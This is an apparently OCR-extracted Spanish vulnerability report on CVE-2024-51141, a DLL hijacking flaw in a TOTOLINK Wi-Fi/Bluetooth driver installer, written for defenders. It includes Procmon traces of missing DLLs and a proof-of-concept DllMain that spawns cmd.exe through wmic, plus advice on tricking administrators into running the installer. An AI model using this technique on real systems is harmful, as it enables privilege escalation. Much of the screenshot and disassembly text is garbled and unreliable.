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Acceso No Autorizado
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Miguel Angel Méndez Zudiga CVE-2024-51141

Resumen:

En este informe elaborado por el equipo de Research de Secure Soft,
analizamos una grave vulnerabilidad de DLL hijacking presente en
el instalador de controladores del TOTOLINK A6OOUB, un dispositivo
de conexion USB para Wi-Fiy Bluetooth. Esta vulnerabilidad permite
a un atacante ejecutar cdédigo malicioso y escalar privilegios en
sistemas vulnerables simplemente aprovechando una falla en el
proceso de instalacion del controlador.

Aprenderas como los atacantes pueden explotar la ausencia de
ciertas DLL esenciales durante la instalacion del controlador, lo que
les permite inyectar codigo malicioso en el sistema. Te explicamos
paso a paso coOmo se lleva a cabo el ataque, desde la manipulacion
de las DLL hasta el acceso no autorizado al sistema.

Con ejemplos practicos y un analisis detallado, este informe es
esencial para administradores de sistemas, desarrolladores de
software y profesionales de ciberseguridad que deseen proteger sus
infraestructuras de esta amenaza critica. También se brindan
recomendaciones para mitigar esta vulnerabilidad y mejorar la
seguridad en el desarrollo de aplicaciones y controladores.
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3. Analisis de Causa Raiz

Al descargar y ejecutar el binario, presenta dos opciones de
instalacion: la primera permite instalar el controlador de Wi-Fi,
mientras que la segunda opcion es instalar el controlador de

Bluetooth. Ambos controladores se instalan y finalmente se
almacenan en el disco.

1l - Manage temy O

File Home Share View Application Tools v @
+ » temp v U Search temp r

Name Date maodified Type
# Quick access
data 6/20/2024 4:51 PM File folder
M Desktop -

€ Installer.exe 11/25/2019 10:07 PM Application
¥ Downloads

** Documents

L

&= Pictures

IDATT

) USB Bluetaath Wireless Ad.. X

PavelTools
Toals

WiFiAutolnstall

™ This PC

-# 3D Objects
I Desktop

“ Documents
¥ Downloads
J" Music

&= Pictures v <

2items  1item selected 2.24 MB

L]

Tras completar el proceso de instalacion y configuracion, los archivos
correspondientes se guardan en el disco duro, concretamente en la ruta
C\Program Files\TOTOLINK\WiFiAutolnstall.

Program Files * TOTOLINK » WiFiAutolnstall »

~
Mame

Driver
64
XB6
. difxapi.dll
| unins000.dat
7 unins00D.exe
« . WifiAutalnstallini
W wifiAutolnstallDriver.exe
W wifiAutolnstallSry.exe



Operation

" CreateFile
'm CreateFile
'™ CreateFile
'r CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile

:I

k|

k|

ki b - |

Process Name

" WifiAutolnstallDriver.exe
WifiAutolnstallDriver.exe

B- WifiAutolnstallDriver.exe

Path

C:\Users\miguel mendez z\Desktop\MSASN1.dll
C:\Users\miguel mendez z\Desktop\WIdp.dll
C:\Users\miguel mendez z\Desktop\PROPSYS.dll
C:\Users\miguel mendez z\Desktop\edputil.dll
C:\Users\miguel mendez z\Desktop\urimon.dll
C:\Users\miguel mendez z\Desktop\iertutil.dll
C:\Users\miguel mendez z\Desktop\srvcli.dll
C:\Users\miguel mendez z\Desktop\netutils.dll
C:\Users\miguel mendez z\Desktop\SspiCli.dll
C:\Users\miguel mendez z\Desktop\MPR.dlI
C:\Users\miguel mendez z\Desktop\MSASN1.dll
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Al ejecutar el binario correspondiente se puede observar, mediante el
uso de la herramienta Procmon, que el binario realiza llamadas a varias
DLL. Sin embargo, estas DLL no estan presentes en el sistema ni en la
ruta actual del binario, lo que permite al usuario final agregar una DLL
personalizada para ejecutar una accion especifica.

Result

NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND

Se puede observar que IpVerb esta configurado en "runas", lo que indica

que el

programa se ejecutara con privilegios de administrador,

activando el Control de cuentas de usuario (UAC). Esto luego se
ejecutara WifiAutolnstallDriver.exe, que se establece en IpFile.

1A View-A, Preudocode-A

-text:004013C4 pExecinfo
.text:004013C4

o = Segments

= SHELLEXECUTEINFOW ptr -3ch

Stings ®
0 8 X T Preudocodeh

Structures

const WCHAR *lpParameters; // cox

4| const wchar_t *vS; // ecx
DWORD result; //

SHELLEXECUTEINFOW pExecInfo; //

8| pExecinfo.cbsize = 60;

.1pver!

Lpunas”;

swtteh ( o1 )
{
case "4
if ( 22 == 100 )
{

goto LABEL_19;

fo.lpParameters =

[REH

2 LABEL_S:
23 if ( 15 )

1 :
goto LABEL_18;

-text:004013C4 push  ebp
“text:004013C5 mov  ebp, esp
_text:04013C7 sub  esp, 3ch
~text:004013CA push  esi
_text:004013C8 push  edi
_text:004013CC push  38h ; '8 ; Size
-text:004013CE lea  eax, [ebpepExecinfo. fHask]
-text:00401301 mov  [ebpepExecinfo.cbsize], 3ch ; "<’
text:00461308 push 6 ; val
text:0040130A push  eax ; void *
text:00461308 rov
~text:0040130€ mov 81, ex
~text:004013€1 call emset
-text:004013€6 add  esp, 6ch
-text:004013€9 mov  [ebpepExecinfo.lpVerb], offset aRunas ; “Fnas
-text:004013F0 mov  [ebpepExecInfo.lpFile], offset word_418400
“text:004013F7 push  69h ; ‘i
“text:004013F9 pop  eax
“text:004013FA e ax,
-text:604013FD nz___short loc_401425
s
te
“text:00401425 loc_401425:
_text:00401425
_text:00401427
-text:00401428
_text:00401428
- =
- text:00401420 push  €an ; a'
_text:0040142F pop  eax
_text:00401430 mp  ax, d
401410 |-text:00401433 nz___ short loc_40143¢

iy

.1pFile = &word_418408;

= L"-1s -p";

fMask, 0, 8x38u);

L*-id -r";

case ‘u':

if (22 == 100 )

{
75h ; ‘v 20 pExecinfo.lpParaneters = L"-ud -r";
eax 30 goto LABEL_19;
ax, si 31 } .
short loc_4014. @ 32 pParameters = L"-us -r"}

33 = Uy -r";
goto LABEL_S;

case "t':

goto LABEL_19;
case 'p':

goto LABEL_19;

. text:00401410
-text:00491410 loc_401410:
.text:00401410
.text:00401415

mov
mov

eax, offset alsk
ecx, offset alR ; "-i -

. text:0040141A
.text:0046141A loc_40141A:
. text:00401414

i

. text:00401448

push

1 return result;

73h

.1pParameters = lpParane

Info.lpParameters = L"-t -r";

1pParameters = L"-p -r";

fo.1pParaneters;

=K4
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Aqui hay un codigo basico para crear una DLL de prueba que se ejecute
cmd.exe cuando esta cargado.

.text

.text:
.text:
text:
.text:
.text:
.text:
Jtext:
.text:
.text:
.text:

10001000
10001000
10001000
10001000
10001000
10001000
10001000
10001001
10001003
10001007

110001000 ; BOOL _ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
__stdcall DllMain(x, x, X) proc near

hinstDLL
fdwReason
1pvReserved

= dword ptr 8
= dword ptr @cCh
= dword ptr 10h

push ebp

mov ebp, esp

sub [ebp+fdwReason], 1
jnz short loc_10001016

=

.text:10001009

push © ; uCmdShow

.text:1000100B push offset CmdLine ; "wmic process call create \"cmd.exe\""
.text:10001010 call ds:WinExec
v

10001016

10001016 loc_10001016:

10001016 mov eax, 1

10001018 pop ebp

1000101C retn ech

1000101C __ stdcall Dl1lMain(x, x, x) endp

1000101C

Con la identificacion de la DLL faltante y la creacion de una DLL
personalizada, el atacante podria colocar esta DLL en un directorio
desde el cual el binario confiable pueda cargarla. Luego, el atacante
podria esperar a que un administrador ejecute el binario legitimo o
utilizar técnicas de ingenieria social para convencer a un usuario con los
permisos adecuados para que ejecute el binario. Esto haria que el
binario cargara la DLL maliciosa, lo que permitiria al atacante elevar sus
privilegios en el sistema.
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4. Conclusion:

El analisis de la vulnerabilidad de secuestro de DLL en el instalador del
controlador TOTOLINK A6OOUB revela una brecha de seguridad critica
gue puede explotarse facilmente para comprometer los sistemas. Al
detectar y aprovechar la ausencia de ciertas DLL durante el proceso de
instalacion, un atacante tiene la oportunidad de inyectar codigo
malicioso, logrando una escalada de privilegios que otorga control
sobre el sistema afectado. Este tipo de vulnerabilidad subraya la
necesidad urgente de adoptar practicas de desarrollo mas seguras,
como una validacion exhaustiva de los archivos cargados y una gestion
cuidadosa de las rutas de busqueda de DLL.
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